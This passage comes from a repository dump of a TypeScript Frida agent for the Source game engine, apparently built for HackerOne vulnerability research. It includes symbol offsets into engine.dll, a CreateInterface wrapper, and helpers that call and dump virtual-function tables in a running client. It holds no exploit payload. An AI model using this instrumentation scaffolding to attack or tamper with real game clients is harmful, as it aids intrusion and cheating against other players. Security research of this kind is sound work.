30 | "CGameClient::ProcessSignonStateMsg": new KnownSymbol(0x120670, "engine.dll"), 31 | } 32 | 33 | // If this is true, will NOT run local analysis code. 34 | let IsHackerOneSubmission = true; 35 | 36 | export default { KnownSymbols, IsHackerOneSubmission }; -------------------------------------------------------------------------------- /src/agent/source_engine/iface.ts: -------------------------------------------------------------------------------- 1 | // CreateInterface implementation to grab interface pointers from modules 2 | 3 | function CreateInterface(module: Module, iface: string) { 4 | // get the export 5 | let ci_ptr = module.getExportByName("CreateInterface") 6 | 7 | // create a native function for it to call it 8 | let ci = new NativeFunction(ci_ptr, 'pointer', ['pointer', 'pointer'], { abi: "sysv" }) 9 | 10 | // allocate space for the interface string 11 | let strVal = Memory.allocAnsiString(iface) 12 | 13 | // call createinterface 14 | let result = ci(strVal, new NativePointer(0)) 15 | 16 | return result as NativePointer; 17 | } 18 | 19 | export default { CreateInterface } -------------------------------------------------------------------------------- /src/agent/source_engine/index.ts: -------------------------------------------------------------------------------- 1 | import iface from './iface' 2 | import vtable from './vtable' 3 | import util from './util' 4 | export default { vtable, CreateInterface: iface.CreateInterface, util } -------------------------------------------------------------------------------- /src/agent/source_engine/util.ts: -------------------------------------------------------------------------------- 1 | import classes from './classes/index' 2 | import WrappedObject from './classes/wrappedobject' 3 | import HackerOne from './hackerone' 4 | 5 | // utility functions 6 | 7 | // create a NativeFunction object from a symbol 8 | function classfn_from_symbol(symbol: string, retType: NativeType, argTypes: NativeType[]) { 9 | // resolve the address or throw an exception 10 | let address = DebugSymbol.getFunctionByName(symbol) 11 | 12 | // add 'this' to the beginning of the function 13 | argTypes.unshift('pointer') 14 | 15 | let fn = new NativeFunction(address, retType, argTypes, "thiscall"); 16 | 17 | return function (this: any, ...args: any[]) { return fn(this.pointer, ...args); } 18 | } 19 | 20 | // create a NativeFunction object from a vtable index 21 | function classfn_from_vtable(vtableIndex: number, retType: NativeType, argTypes: NativeType[]) { 22 | // add 'this' to the beginning of the function 23 | argTypes.unshift('pointer') 24 | 25 | // fake type for cstring to automatically read a cstring 26 | let convertToString = false; 27 | if (retType == "cstring") { 28 | retType = "pointer" 29 | convertToString = true; 30 | } 31 | 32 | let shouldConstructToWrapper = false; 33 | let wrapperName: string; 34 | // should we construct to one of our wrapper objects? 35 | // hack... just see if the first character is capital C 36 | if (retType[0] === "C") { 37 | shouldConstructToWrapper = true; 38 | wrapperName = retType as string; 39 | retType = "pointer"; 40 | } 41 | 42 | // function wrapper which resolves the vtable lazily for the object 43 | let wrapped_fn = function (this: any, ...args: any[]) { 44 | // have we resolved this index in the vtable yet? 45 | let vtable_fn: Function = (this.constructor).vtable_functions[vtableIndex] 46 | if (vtable_fn === undefined) { 47 | // access the raw pointer of the vtable function 48 | let vtableEntry: NativePointer = (this.constructor).vtable_addresses[vtableIndex] 49 | 50 | // create a NativeFunction for this vtable function 51 | vtable_fn = new NativeFunction(vtableEntry, retType, argTypes, "thiscall"); 52 | 53 | // save it to the vtable addresses 54 | (this.constructor).vtable_functions[vtableIndex] = vtable_fn 55 | } 56 | 57 | let val_result = vtable_fn(this.pointer, ...args); 58 | if (convertToString) { 59 | return val_result.readCString(); 60 | } else { 61 | if (shouldConstructToWrapper) { 62 | // construct the object from the "classes" module 63 | // this can let us construct wrapper classes directly, like CGameClient 64 | return Reflect.construct((classes as any)[wrapperName as string], [val_result]) 65 | } 66 | return val_result 67 | } 68 | }; 69 | 70 | // store the index into the function object 71 | (wrapped_fn as any).index = vtableIndex; 72 | 73 | return wrapped_fn 74 | } 75 | 76 | // run without ret-sync 77 | function get_known_symbol(symbol: string) { 78 | let res = HackerOne.KnownSymbols[symbol] 79 | if (res === undefined) { 80 | return null; 81 | } 82 | 83 | res.resolveActualAddress() 84 | 85 | return res; 86 | } 87 | 88 | // requires a symbol to be resolved, or throws an exception 89 | // returns the absolute address to the symbol 90 | function require_symbol(symbol: string) { 91 | let known = get_known_symbol(symbol) 92 | if (known !== null) { 93 | return known.address 94 | } 95 | 96 | let syminfo = DebugSymbol.fromName(symbol) 97 | if (syminfo.name === null) { 98 | throw new Error(`Symbol ${symbol} could not be found and was required by require_symbol!`) 99 | } 100 | 101 | return syminfo.address; 102 | } 103 | 104 | // requires a symbol to be resolved, or thows an exception 105 | // returns the offset into the module 106 | function require_offset(symbol: string) { 107 | let known = get_known_symbol(symbol) 108 | if (known !== null) { 109 | return known.relative_address 110 | } 111 | 112 | // get the address relative to this process 113 | let syminfo = DebugSymbol.fromName(symbol) 114 | if (syminfo.name === null || syminfo.moduleName == null) { 115 | throw new Error(`Symbol ${symbol} could not be found and was required by require_offset!`) 116 | } 117 | 118 | // Grab the local module base 119 | let modBase = Module.load(syminfo.moduleName).base; 120 | 121 | 122 | // Return the offset into that module 123 | return syminfo.address.sub(modBase) 124 | } 125 | 126 | export default { classfn_from_symbol, classfn_from_vtable, require_symbol, require_offset } -------------------------------------------------------------------------------- /src/agent/source_engine/vtable.ts: -------------------------------------------------------------------------------- 1 | // functions to help with vtables 2 | 3 | 4 | import HackerOne from './hackerone' 5 | 6 | // create a NativeFunction from a virtual function table entry 7 | function from_index(obj: NativePointer, vtableIndex: number, retType: NativeType, argTypes: NativeType[]) { 8 | let entry = get_index(obj, vtableIndex) 9 | 10 | // create a function for it 11 | return new NativeFunction(entry, retType, argTypes, { abi: "thiscall" }) 12 | } 13 | 14 | // get a NativePointer object from an object for the given vtableIndex 15 | function get_index(obj: NativePointer, vtableIndex: number) { 16 | // get vtable pointer 17 | let vtable = obj.readPointer() 18 | 19 | // offset into vtable, then get value there 20 | let entry = vtable.add(vtableIndex * Process.pointerSize).readPointer() 21 | 22 | return entry; 23 | } 24 | 25 | // log all valid vtable entries for a pointer 26 | function dump_vtable(obj: NativePointer, class_name?: string) { 27 | if (HackerOne.IsHackerOneSubmission) { return; } 28 | 29 | // get vtable pointer 30 | let vtable = obj.readPointer() 31 | let names: string[] | null = []; 32 | 33 | // if a class name is supplied, try to resolve the names of the vtable 34 | if (class_name) { 35 | names = request_vtable(class_name) 36 | if (names == null) { 37 | throw new Error(`Could not find vtable for ${class_name}`) 38 | } 39 | } 40 | 41 | if (class_name) { 42 | console.log(`vtable for ${obj} (${class_name}) (vtable @ ${vtable}): `) 43 | } else { 44 | console.log(`vtable for ${obj} (vtable @ ${vtable}): `) 45 | } 46 | 47 | let index = 0; 48 | while (true) { 49 | let entry: NativePointer; 50 | try { 51 | // get the pointer value from the vtable 52 | entry = vtable.add(index * Process.pointerSize).readPointer() 53 | 54 | // try to read from it, if we fail we break 55 | entry.readPointer() 56 | } catch (e) { 57 | break; 58 | } 59 | 60 | if (names.length !== 0) { 61 | console.log(`\t [${index}] ${entry} (${names[index]})`) 62 | } else { 63 | console.log(`\t [${index}] ${entry}`) 64 | } 65 | 66 | index += 1; 67 | } 68 | } 69 | 70 | // if retsync is enabled, synchronizes the vtable names with ida pro to name the entries 71 | function retsync_vtable(obj: NativePointer, class_name: string) { 72 | if (HackerOne.IsHackerOneSubmission) { return; } 73 | if (obj.isNull()) return; 74 | 75 | // get vtable pointer 76 | let vtable = obj.readPointer() 77 | // get all the vtable names 78 | let names: string[] | null = request_vtable(class_name) 79 | if (names == null) { 80 | throw new Error(`Could not find vtable for ${class_name}`) 81 | } 82 | 83 | let index = 0; 84 | while (true) { 85 | let entry: NativePointer; 86 | try { 87 | // get the pointer value from the vtable 88 | entry = vtable.add(index * Process.pointerSize).readPointer() 89 | 90 | // try to read from it, if we fail we break 91 | entry.readPointer() 92 | } catch (e) { 93 | break; 94 | } 95 | 96 | // if the name exists, name it in retsync 97 | if (names[index]) { 98 | // see if this name is already added, if so stop applying labels beause it's pretty slow 99 | let alreadyResolved = DebugSymbol.findFunctionsNamed(names[index]); 100 | if (alreadyResolved.length != 0) { 101 | return; 102 | } 103 | retsync_set_name(entry, names[index]) 104 | } 105 | 106 | index += 1; 107 | } 108 | } 109 | 110 | // ask Python to respond with the vtable for a particular class 111 | function request_vtable(class_name: string) { 112 | let vtable_out: string[] = []; 113 | 114 | send({ "type": "vtable", "name": class_name }) 115 | 116 | let promise = recv("vtable", (o) => vtable_out = o.payload) 117 | promise.wait() 118 | 119 | return vtable_out as string[] | null; 120 | } 121 | 122 | export default { dump_vtable, get_index, from_index, request_vtable, retsync_vtable } -------------------------------------------------------------------------------- /src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "frida-agent-example", 3 | "version": "1.0.0", 4 | "description": "Example Frida agent written in TypeScript", 5 | "private": true, 6 | "main": "agent/index.ts", 7 | "scripts": { 8 | "prepare": "npm run build", 9 | "build": "frida-compile agent/index.ts -o _agent.js", 10 | "watch": "frida-compile agent/index.ts -o _agent.js -w" 11 | }, 12 | "devDependencies": { 13 | "@types/frida-gum": "^15.0.0", 14 | "@types/node": "^13.7.0", 15 | "frida-compile": "^9.1.0" 16 | }, 17 | "dependencies": { 18 | "printf": "^0.5.3" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "esnext", 4 | "lib": ["esnext"], 5 | "allowJs": true, 6 | "noEmit": true, 7 | "strict": true, 8 | "esModuleInterop": true 9 | } 10 | } 11 | --------------------------------------------------------------------------------